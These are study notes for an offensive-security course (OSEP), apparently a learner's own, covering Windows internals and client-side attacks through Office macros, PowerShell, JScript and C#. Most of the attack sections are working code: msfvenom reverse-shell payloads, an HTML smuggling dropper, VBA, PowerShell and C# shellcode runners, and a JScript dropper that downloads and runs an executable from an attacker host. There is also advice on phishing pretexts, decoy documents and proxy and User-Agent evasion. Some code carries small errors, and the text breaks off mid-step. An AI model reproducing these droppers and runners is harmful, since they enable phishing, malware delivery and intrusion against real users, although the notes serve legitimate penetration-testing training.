OSEP Course

OSEP Study Notes: Chapters 2 & 3

Chapter 2: Operating System and Programming Theory

2.1 Programming Theory

2.1.1 Programming Language Levels

Compiled vs Interpreted Languages:

  • Compiled languages (C, C++): Code converted to binary before execution by CPU
  • Interpreted languages (Python, JavaScript, PowerShell): Code parsed and converted at runtime
  • Bytecode languages (Java, C#): Compiled to bytecode, executed by virtual machine (.NET, JVM)
  • Managed code (.NET languages): Virtual machine provides memory management; Unmanaged code (C/C++) requires manual memory management

Language Hierarchy:

  • Low-level: Difficult for humans, tied to hardware, limited features (Assembly)
  • x86/x64 architecture: Defines valid opcodes; ARM used on mobile devices
  • High-level: Human-readable, portable, access to complexity through object-oriented programming
  • C: Relatively low-level but readable; allows inline assembly and direct memory access
  • C++: High and low-level features; object-oriented with direct memory management
  • Just-in-time (JIT) compilation: Script compiled directly into native code at runtime (browsers)

2.1.2 Programming Concepts

Object-Oriented Paradigm:

  • Class: Template for creating objects; contains variables and methods
  • Constructor: Special method initializing instance variables; called when object is instantiated
  • Methods: Functions performing actions on class variables
  • Access modifiers: public (accessible outside class), private (accessible only inside class)

Example - Class and Constructor:

public class MyClass
{
    private int myNumber;

    public MyClass(int aNumber)
    {
        this.myNumber = aNumber;
    }

    public getNumber()
    {
        return myNumber;
    }
}

Why: Access modifiers enforce encapsulation and security


2.2 Windows Concepts

2.2.1 Windows On Windows (WoW64)

32-bit Applications on 64-bit Windows:

  • WoW64 allows 64-bit Windows to execute 32-bit applications with minimal efficiency loss
  • Libraries used: Ntdll.dll, Wow64.dll, Wow64Win.dll, Wow64Cpu.dll translate 32-bit to kernel
  • 32-bit registry path: C:\Windows\System32 (stores 64-bit programs/DLLs on 64-bit systems)
  • 32-bit DLL location: C:\Windows\SysWOW64 on 64-bit Windows
  • Penetration tester consideration: Must match target's bitness when generating shellcode

2.2.2 Win32 APIs

Windows API Basics:

  • Pre-built functionality for developers via C-style data types
  • Documented on Microsoft MSDN with function prototypes showing argument count, types, and return types

Function Prototype Example:

BOOL GetUserNameA(
    LPSTR lpBuffer,
    LPDWORD pcBuffer
);

Key Data Types:

  • LPSTR: Pointer to character array (ASCII string)
  • LPWSTR: Unicode character array (wide char)
  • DWORD: 32-bit unsigned integer
  • LPVOID: Generic pointer
  • BOOL: Boolean return value

ASCII vs Unicode APIs:

  • Suffix "A" (GetUserNameA): ASCII version
  • Suffix "W" (GetUserNameW): Unicode version; many Win32 APIs available in both
  • UTF-16: Microsoft's term for Unicode; APIs use LPWSTR for wide chars

Why used in exploitation: Direct memory access, process control, DLL injection

2.2.3 Windows Registry

Registry Overview:

  • Database of keys with associated values; hierarchical structure using subkeys
  • Registry hives at root: Multiple divisions containing system/application data
  • HKEY_CURRENT_USER (HKCU): User-specific data
  • HKEY_LOCAL_MACHINE (HKLM): System-wide data
  • HKEY_USERS: All user registry hives
  • Wow64Node: 32-bit registry settings on 64-bit systems

Key Insight:

  • HKCU is writable by current user; HKLM requires admin privileges
  • Registry edited via Win32 APIs or regedit GUI
  • Useful for reconnaissance and defense bypass

Chapter 3: Client Side Code Execution With Office

3.1 Will You Be My Dropper

Attack Overview: Client-side phishing attacks using social engineering to trick users into executing malicious code. Requires victim interaction with file or webpage.

Malware Terminology:

  • Trojan: Script or document delivering malicious code
  • Dropper: Staged payload with callback function to download second stage
  • Payload: First-stage (dropper) or second-stage (full payload) code
  • Implant/Agent/Backdoor/Malware: Code running on victim workstation
  • Command & Control (C2): Infrastructure for attacker communication via HTTP/HTTPS/DNS

Metasploit Framework:

  • Simplifies payload generation and delivery
  • Supports staged and non-staged payloads

3.1.1 Staged vs Non-Staged Payloads

Non-Staged Payloads:

  • Example: windows/shell_reverse_tcp
  • Contains all code needed for reverse shell
  • Size: ~324 bytes
  • Advantage: No callbacks to attacker; single download
  • Disadvantage: Larger footprint, easier antivirus detection

Staged Payloads:

  • Example: windows/shell/reverse_tcp (uses /)
  • Minimal first stage (7 KB callback); downloads remaining code in target memory
  • Size: ~7 KB first stage (compact footprint)
  • Advantage: Small initial download, better evasion
  • Uses multi/handler to catch callback

Metasploit Commands:

# Generate non-staged payload
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.120 LPORT=444 -f exe -o shell.exe

# Generate staged payload
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.119.120 LPORT=443 -f exe -o msfstaged.exe

# Setup multi/handler listener
msfconsole -q
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
msf5 exploit(multi/handler) > set LHOST 192.168.119.120
msf5 exploit(multi/handler) > set LPORT 443
msf5 exploit(multi/handler) > exploit

Why staged payloads: Smaller download and less detection surface

3.1.2 Building Our Droppers

Metasploit Non-Staged Generation:

sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.120 LPORT=444 -f exe -o /var/www/html/shell.exe

Listener Setup:

sudo nc -lnvp 444

Staged Generation (Meterpreter):

sudo msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.119.120 LPORT=443 -f exe -o /var/www/html/msfnonstaged.exe

Multi-handler Module:

msfconsole -q
msf5 use multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https payload => windows/x64/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 192.168.119.120
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > exploit

Size comparison:

  • Non-staged: ~207 KB
  • Staged: ~7 KB first stage (massive reduction)

Why: Dramatically smaller payload avoids detection

3.1.3 HTML Smuggling

Concept: Automatically save dropper via HTML5 anchor tag download attribute; user clicks invisible link.

HTML5 Download Attribute:

  • Instructs browser to automatically download file when user clicks hyperlink
  • Works in modern browsers (Chrome)

Process:

  1. Encode binary to Base64
  2. Create JavaScript Blob from byte array
  3. Create hidden anchor tag with download attribute
  4. Trigger click() to initiate download

JavaScript Implementation:

function base64ToArrayBuffer(base64) {
    var binary_string = window.atob(base64);
    var len = binary_string.length;
    var bytes = new Uint8Array(len);
    for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
    return bytes.buffer;
}

var file = 'TVqQAAAAAEAAAAA/SAALG...'; // Base64 encoded executable
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'msfstaged.exe';

var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);

HTML Page:

<html>
<body>
<script>
function base64ToArrayBuffer(base64) {
    var binary_string = window.atob(base64);
    var len = binary_string.length;
    var bytes = new Uint8Array(len);
    for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
    return bytes.buffer;
}

var file = 'TVqQAA...'; // Base64 encoded executable
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'msfstaged.exe';

var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
</script>
</body>
</html>

Why: Avoids exposing filename/extension; reduces user friction


3.2 Phishing with Microsoft Office

3.2.1 Installing Microsoft Office

Office 2016 Setup:

  • Navigate to C:\install\Office2016.img in File Explorer
  • Double-click to mount as virtual CD
  • Run Setup.exe
  • Accept product key prompt
  • Accept license agreement

3.2.2 Introduction to VBA

Visual Basic for Applications (VBA):

  • Embedded programming language in Microsoft Office
  • Executed when macros enabled; default: macros disabled with notification

VBA Macro Basics:

  • Access via View > Macros > Create
  • Sub: Procedure returning no value; begins with Sub keyword
  • Function: Can return values; bracketed with keywords like Function MyCFunction()
  • Variables: Declared with Dim keyword and datatype

Variable Declaration:

Dim myString As String
Dim myLong As Long
Dim myPointer As LongPtr

Common Data Types:

  • String: Unicode string
  • Long: 64-bit integer
  • LongPtr: Memory pointer
  • Translate directly to C data types or native OS types

Flow Control:

  • If/Else/Then: Conditional branching
  • For loop: Iteration with counter (Next keyword)

Example - If/Else:

Sub MyMacro()
    Dim myLong As Long
    myLong = 1

    If myLong < 5 Then
        MsgBox ("True")
    Else
        MsgBox ("False")
    End If
End Sub

Document Events:

  • Document_Open(): Macro runs when document opens
  • AutoOpen(): Excel equivalent
  • Save macros in .doc or .docm format (not .docx)

Trust Center Security:

  • File > Options > Trust Center
  • Macro Settings: "Disable all macros with notification" (default)
  • Protected View: Sandboxes files from Internet
  • To enable macros: Click "Enable Content" button

3.3 Keeping Up Appearances

Pretexting: Using false motive to convince victim to enable macros or open attachment without suspicion

3.3.1 Phishing Pretexting

Common Pretexts:

  • Job applications, healthcare updates, invoices, HR requests
  • Appear encrypted/protected to justify security prompts
  • Target organization-specific employees

Decoy Content Strategies:

  • Add legitimate logos (RSA, Microsoft, company branding)
  • Include GDPR/compliance language for legitimacy
  • Match document style and grammar
  • Create fake "decrypted" content replacing initial text

Switcheroo Technique:

  • Display fake encrypted/protected content initially
  • When user enables macros, replace with legitimate-looking CV/document
  • Macro silently executes payload while victim sees decoy

Implementation:

  1. Create decoy document (fake CV, resume, HR material)
  2. Use AutoText/Quick Parts to store decoy content
  3. Replace initial text with real content when macro runs
  4. Execute hidden payload during replacement

3.4 Executing Shellcode in Word Memory

Goal: Execute staged Meterpreter shellcode directly in Word process memory, avoiding disk writes

3.4.1 Calling Win32 APIs from VBA

Declaring Win32 APIs:

  • Use Private Declare keyword to link external DLL functions
  • Specify function name, DLL location, arguments, return type
  • Must declare outside Sub/Function procedures

GetUserName API Example:

C Prototype:

BOOL GetUserNameA(
    LPSTR lpBuffer,
    LPDWORD pcBuffer
);

VBA Declaration:

Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long

Converting C Types to VBA:

  • LPSTR: String (passed ByVal)
  • LPDWORD/pointer: Long reference (ByRef)
  • BOOL: Long return value

Calling GetUserName:

Function MyMacro()
    Dim res As Long
    Dim MyBuff As String * 256
    Dim MySize As Long
    MySize = 256

    res = GetUserName(MyBuff, MySize)
    strlen = InStr(1, MyBuff, vbNullChar) - 1
    MsgBox Left(MyBuff, strlen)
End Function

Why: Allows arbitrary Win32 API calls from VBA; foundation for shellcode execution

3.4.2 VBA Shellcode Runner

Key Win32 APIs:

  • VirtualAlloc: Allocate RWX memory
  • RtlMoveMemory: Copy shellcode to allocated memory
  • CreateThread: Execute shellcode at memory address

VirtualAlloc Prototype:

LPVOID VirtualAlloc(
    LPVOID lpAddress,
    SIZE_T dwSize,
    DWORD flAllocationType,
    DWORD flProtect
);

VBA Declaration:

Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr

RtlMoveMemory Prototype:

VOID RtlMoveMemory(
    VOID UNALIGNED *Destination,
    VOID UNALIGNED *Source,
    SIZE_T Length
);

VBA Declaration:

Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal Destination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

CreateThread Prototype:

HANDLE CreateThread(
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    SIZE_T dwStackSize,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    DWORD dwCreationFlags,
    LPDWORD lpThreadId
);

VBA Declaration:

Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ByVal ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr

Shellcode Generation:

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f vbapplication

VBA Shellcode Runner Structure:

Function MyMacro()
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Long
    Dim res As Long

    ' Shellcode array (from msfvenom)
    buf = Array(232, 130, 0, 0, 0, 96, 137, 229, ...)

    ' Allocate memory: RWX
    addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)

    ' Copy shellcode byte-by-byte
    For counter = LBound(buf) To UBound(buf)
        data = buf(counter)
        res = RtlMoveMemory(addr + counter, data, 1)
    Next counter

    ' Execute thread at shellcode address
    res = CreateThread(0, 0, addr, 0, 0, 0)
End Function

Allocation Constants:

  • 0x3000: MEM_COMMIT | MEM_RESERVE
  • 0x40: PAGE_EXECUTE_READWRITE

Why: Executes shellcode entirely in Word memory; no disk artifacts


3.5 PowerShell Shellcode Runner

Advantage: Avoids VBA disk write artifacts; PowerShell in-memory execution

3.5.1 Calling Win32 APIs from PowerShell

DllImport Approach:

  • PowerShell cannot natively call Win32 APIs
  • Use C# with DllImportAttribute class
  • Use Add-Type keyword to compile C# at runtime

P/Invoke (Platform Invocation Services):

  • Translates C data types to C# data types
  • Reference: www.pinvoke.net for common translations

Example - MessageBox from User32.dll:

C Prototype:

int MessageBox(
    HWND hWnd,
    LPCSTR lpText,
    LPCSTR lpCaption,
    UINT uType
);

P/Invoke Translation (search pinvoke.net):

[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern int MessageBox(IntPtr hWnd, String text, String caption, int options);

PowerShell Add-Type Statement:

$User32 = @"
using System;
using System.Runtime.InteropServices;

public class User32 {
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    public static extern int MessageBox(IntPtr hWnd, String text, String caption, int options);
}
"@

Add-Type $User32

[User32]::MessageBox(0, "This is an alert", "MyBox", 0)

Why: Allows Win32 API calls from PowerShell; foundation for shellcode execution

3.5.2 Porting Shellcode Runner to PowerShell

VirtualAlloc & CreateThread in C#:

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32", CharSet=CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
"@

Add-Type $Kernel32

.NET Copy Method:

  • Replace VBA's RtlMoveMemory
  • Use System.Runtime.InteropServices.Marshal::Copy to copy managed array to unmanaged memory

Shellcode Generation (ps1 format):

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f psi

PowerShell Shellcode Runner:

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32", CharSet=CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
"@

Add-Type $Kernel32

[Byte[]] $buf = 0xfc,0x0e8,0x82...

[IntPtr]$addr = [Kernel32]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40);

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.length)

[Kernel32]::CreateThread(0, 0, $addr, 0, 0, 0);

Why: PowerShell in-memory execution avoids VBA disk artifacts

3.6 Keep That PowerShell in Memory

Problem: Add-Type writes C# source code (.cs) and compiled assembly (.dll) to disk, leaving artifacts

Solution: Use reflection to resolve Win32 APIs without Add-Type compilation

Add-Type Compilation Artifacts:

  • Visual C# compiler (csc.exe) writes temporary files to disk
  • Both source and compiled assembly can be detected

3.6.1 Add-Type Compilation

Process Monitor demonstrates:

  • CreateFile operations for .cs temporary files
  • CreateFile for .dll compiled assembly
  • Reflection-based lookup avoids all disk writes

3.6.2 Leveraging UnsafeNativeMethods

Dynamic Function Lookup:

  • Avoid Add-Type keyword; use reflection instead
  • Search preloaded assemblies for UnsafeNativeMethods class
  • Use GetModuleHandle and GetProcAddress for function resolution

GetModuleHandle/GetProcAddress:

$GetModuleHandle = [System.Reflection.Assembly]::LoadWithPartialName('System.dll').GetType('Microsoft.Win32.UnsafeNativeMethods').GetMethod('GetModuleHandle')

$GetProcAddress = [System.Reflection.Assembly]::LoadWithPartialName('System.dll').GetType('Microsoft.Win32.UnsafeNativeMethods').GetMethod('GetProcAddress')

DelegateType Reflection:

  • Create custom delegate type dynamically
  • Eliminates need for P/Invoke declarations
  • Define parameter types and return type at runtime

Delegate Type Creation:

function getDelegateType {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )

    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly(
        (New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
        [System.Reflection.Emit.AssemblyBuilderAccess]::Run
    ).DefineDynamicModule('InMemoryModule', $false).DefineType(
        'MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
        [System.MulticastDelegate]
    )

    $type.DefineConstructor(
        'RTSpecialName, HideByShig, Public',
        [System.Reflection.CallingConventions]::Standard,
        $func
    ).SetImplementationFlags('Runtime, Managed')

    $type.DefineMethod(
        'Invoke', 'Public, HideByShig, NewSlot, Virtual',
        $delType,
        $func
    ).SetImplementationFlags('Runtime, Managed')

    return $type.CreateType()
}

LookupFunc Resolution:

function LookupFunc {
    Param ($ModuleName, $FunctionName)

    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
        $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')
    }).GetType('Microsoft.Win32.UnsafeNativeMethods')

    $assem.GetMethods() | ForEach-Object {
        if ($_.Name -eq "GetProcAddress") {
            $tmp=$_;
            return $tmp[0].Invoke($null, @((GetModuleHandle), $FunctionName))
        }
    }
}

In-Memory Shellcode Runner (Reflection-based):

function LookupFunc {
    Param ($ModuleName, $FunctionName)

    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
        Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
    ).GetType('Microsoft.Win32.UnsafeNativeMethods')

    $assem.GetMethods() | ForEach-Object {
        if ($_.Name -eq "GetProcAddress") {
            $tmp=$_;
            return $tmp[0].Invoke($null, @((GetModuleHandle), $FunctionName))
        }
    }
}

function getDelegateType {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )

    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly(
        (New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
        [System.Reflection.Emit.AssemblyBuilderAccess]::Run
    ).DefineDynamicModule('InMemoryModule', $false).DefineType(
        'MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
        [System.MulticastDelegate]
    )

    $type.DefineConstructor(
        'RTSpecialName, HideByShig, Public',
        [System.Reflection.CallingConventions]::Standard,
        $func
    ).SetImplementationFlags('Runtime, Managed')

    $type.DefineMethod(
        'Invoke', 'Public, HideByShig, NewSlot, Virtual',
        $delType,
        $func
    ).SetImplementationFlags('Runtime, Managed')

    return $type.CreateType()
}

[Byte[]] $buf = 0xfc,0x0e8,0x82...

$VirtualAllocAddr = LookupFunc kernel32.dll VirtualAlloc
$VirtualAllocDelegate = getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)

[IntPtr]$addr = [Kernel32]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40);

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.length)

$CreateThreadAddr = LookupFunc kernel32.dll CreateThread
$CreateThreadDelegate = getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)

$CreateThread.Invoke(0, 0, $addr, 0, 0, 0)

Why: Completely in-memory; reflection eliminates all disk writes (C# source, .dll assembly)


3.7 Talking To The Proxy

Challenge: Network proxies intercept and log HTTP/HTTPS traffic; must work through proxy or bypass

3.7.1 PowerShell Proxy-Aware Communication

Net.WebClient Default Behavior:

  • By default, proxy-aware (uses system proxy settings)
  • May not have been case historically (feature may revert)
  • Always check for proxy configuration

Proxy Settings Configuration:

  • Windows Settings > Network & Internet > Proxy
  • Manual proxy: IP address and TCP port
  • Stored in registry at: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings

Testing Proxy-Awareness:

$wc = new-object system.net.WebClient
$wc.DownloadString("http://192.168.119.120/run.ps1")

Observing Proxy Requests:

  • Monitor Apache access logs for requests from proxy IP (not victim IP)
  • Proxy translates victim IP to proxy IP in request headers

Removing Proxy Settings:

$wc = new-object system.net.WebClient
$wc.proxy = $null
$wc.DownloadString("http://192.168.119.120/run.ps1")

Bypass Effect: Request comes directly from victim IP (bypasses proxy if no proxy enforcement)

3.7.2 Fiddling With The User-Agent

User-Agent Header Identification:

  • Quickly identifies HTTP client type (browser, PowerShell, etc.)
  • Net.WebClient default: Empty or generic string (stands out)
  • Real browsers identify: Chrome, Firefox, Internet Explorer, etc.

Customize User-Agent:

$wc = new-object system.net.WebClient
$wc.Headers.Add("User-Agent", "This is my agent, there is no one like it...")
$wc.DownloadString("http://192.168.119.120/run.ps1")

Realistic User-Agent Example:

  • Use Google Chrome: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...

Why: Blends with legitimate browser traffic in proxy logs

3.7.3 Give Me A SYSTEM Proxy

SYSTEM Integrity Shell Constraint:

  • PowerShell running as SYSTEM has no proxy configuration
  • Cannot access HKEY_CURRENT_USER registry (not mapped to SYSTEM account)
  • Direct HTTP fails if network requires proxy

Solution: Copy SYSTEM Proxy Configuration

  • Map HKEY_USERS hive to get user proxy settings
  • Extract ProxyServer registry value
  • Configure PowerShell download cradle with proxy

Registry Path:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings

PowerShell Proxy Registry Lookup:

New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null

# Find valid user SID (non-system, non-service account)
$keys = Get-ChildItem 'HKU:\'
ForEach ($key in $keys) {
    if ($key.Name -like "*S-1-5-21*") {
        $start = $key.Name.substring(10)
        if ($start.substring(0,8) -ne "S-1-5-21") {break}
    }
}

# Get proxy server from registry
$proxyAddr = (Get-ItemProperty -Path "HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings").ProxyServer

Create WebProxy Object:

[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy("http://$proxyAddr")
$wc = new-object system.net.WebClient
$wc.DownloadString("http://192.168.119.120/run.ps1")

Why: Allows SYSTEM PowerShell to honor proxy configuration


3.8 Wrapping Up

Module Summary:

  • Exploited user behavior with social engineering and phishing pretexts
  • Implemented client-side execution through Microsoft Office (VBA, PowerShell)
  • Executed arbitrary Win32 APIs directly in memory without disk artifacts
  • Bypassed network monitoring through proxy awareness and User-Agent spoofing
  • Gained shells from both VBA and PowerShell in-memory runners

Key Takeaway: Initial shell is critical first step for penetration testing; subsequent modules cover persistence and privilege escalation.

OSEP Study Notes: Chapters 4-5

Chapter 4: Client Side Code Execution With Windows Script Host

Overview

Windows Script Host (WSH) executes Jscript files (.js extension) without browser sandbox restrictions. This makes it an effective client-side code execution vector. Unlike PowerShell files (.ps1) which execute in Notepad by default, .js files execute directly through WSH.

4.1 Creating a Basic Dropper in Jscript

Theory

Jscript is Microsoft's dialect of JavaScript based on ECMAScript standard. When executed outside a web browser, it has unrestricted access to system APIs through the Windows Script Host Shell. This enables interaction with ActiveX objects and execution of arbitrary commands without vulnerability exploitation.

Key Concepts

  • File Type Associations: Windows identifies files by extension, not content. .js files default to WSH execution.
  • ActiveX Access: The ActiveXObject constructor allows instantiation of COM objects like WScript.Shell
  • Command Execution: Via WScript.Shell and Run method to execute external applications

Basic Command Execution Code

var shell = new ActiveXObject("WScript.Shell")
var res = shell.Run("cmd.exe");

This launches a command prompt. The script execution is immediate when the .js file is double-clicked.

HTTP GET Request Pattern

Use MSXML2.XMLHTTP object for HTTP communication:

var url = "http://192.168.119.120/met.exe"
var Object = WScript.CreateObject('MSXML2.XMLHTTP');

Object.Open('GET', url, false);
Object.Send();

if (Object.Status == 200)
{
    var Stream = WScript.CreateObject('ADODB.Stream');

    Stream.Open();
    Stream.Type = 1; // adTypeBinary
    Stream.Write(Object.ResponseBody);
    Stream.Position = 0;

    Stream.SaveToFile("met.exe", 2);
    Stream.Close();
}

var r = new ActiveXObject("WScript.Shell").Run("met.exe");

Why this works: HTTP GET request downloads Meterpreter executable. Stream object (ADODB.Stream) handles binary data. SaveToFile with parameter 2 (adSaveCreateOverWrite) forces overwrite. Finally, WScript.Shell executes the downloaded executable.


4.2 Jscript and C#

Theory

PowerShell has become heavily monitored by security solutions. C# provides equivalent Win32 API access through the .NET framework but avoids PowerShell's detection profile. By embedding compiled C# assemblies within Jscript, we gain memory execution of shellcode runners with lower detection rates than PowerShell alternatives.

4.2.1 Introduction to Visual Studio

Setup for C# development on Windows 10:

Install Samba for code persistence:

sudo apt install samba
sudo mv /etc/samba/smb.conf /etc/samba/smb.conf.old
sudo nano /etc/samba/smb.conf

Samba configuration (/etc/samba/smb.conf):

[visualstudio]
path = /home/kali/data
browseable = yes
read only = no

Create Samba user and start services:

sudo smbpasswd -a kali
sudo systemctl start smbd
sudo systemctl start nmbd

Create shared folder with permissions:

mkdir /home/kali/data
chmod -R 777 /home/kali/data

Why Samba: Allows saving C# code between Windows 10 VM reverts. Access via \\192.168.119.120 in File Explorer.

Create Console App (.NET Framework) project in Visual Studio. Set output to Release mode before compiling to avoid debugging symbols that trigger security software.

4.2.2 DotNetToJscript

Theory: DotNetToJscript converts compiled C# assemblies into Jscript files that can be executed directly. Created by James Forshaw in 2017, it demonstrates executing C# from Jscript without reflection complexity.

Installation:

cd /opt/
sudo git clone https://github.com/tyraniddo/DotNetToJscript.git
cd DotNetToJscript/
sudo pip install -r requirements.txt

Basic compilation and conversion:

  1. Compile C# project in Visual Studio (x64, Release mode)
  2. Use DotNetToJscript to convert DLL to Jscript:
C:\Tools> DotNetToJscript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o runner.js

Parameters explained:

  • --lang=Jscript: Output format
  • --ver=v4: .NET Framework version 4.0
  • -o: Output file (without extension auto-added)

The generated Jscript file contains:

  • Base64-encoded binary blob of the compiled assembly
  • Helper functions: setversion(), debug(), base64ToStream()
  • Deserialization logic using BinaryFormatter
  • Dynamic invocation via DynamicInvoke and CreateInstance

4.2.3 Win32 API Calls From C#

Theory: Use DllImport attribute to declare P/Invoke Win32 API signatures. This allows direct API calling without reflection overhead that characterizes PowerShell approaches.

Lookup API signatures on www.pinvoke.net. Example for MessageBoxA:

using System.Runtime.InteropServices;

[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int MessageBox(IntPtr hWnd, string text, string caption, int options);

static void Main(string[] args)
{
    MessageBox(IntPtr.Zero, "This is my text", "This is my caption", 0);
}

Why this works: DllImport enables direct Win32 API invocation without System.Reflection.InteropServices complexity. CharSet=CharSet.Auto handles character encoding automatically.

4.2.4 Shellcode Runner in C#

Core pattern using three Win32 APIs:

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

Complete execution pattern:

byte[] buf = new byte[626] { 0xfc,0x48,0x83,0xe4,0xf0,0xf8... };

int size = buf.Length;

IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

Marshal.Copy(buf, 0, addr, size);

IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

WaitForSingleObject(hThread, 0xFFFFFFFF);

Why pattern works: VirtualAlloc allocates RWX memory. Marshal.Copy copies shellcode. CreateThread executes from allocated address. WaitForSingleObject waits indefinitely (0xFFFFFFFF) for thread completion.

4.2.5 Jscript Shellcode Runner

Modify ExampleAssembly project in DotNetToJscript:

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

[ComVisible(true)]
public class TestClass
{
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32.dll")]
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    public TestClass()
    {
        byte[] buf = new byte[626] { 0xfc,0x48,0x83,0xe4,0xf0,0xf8... };

        int size = buf.Length;

        IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

        Marshal.Copy(buf, 0, addr, size);

        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

        WaitForSingleObject(hThread, 0xFFFFFFFF);
    }
}

After compilation, compile DLL with x64 platform, then convert:

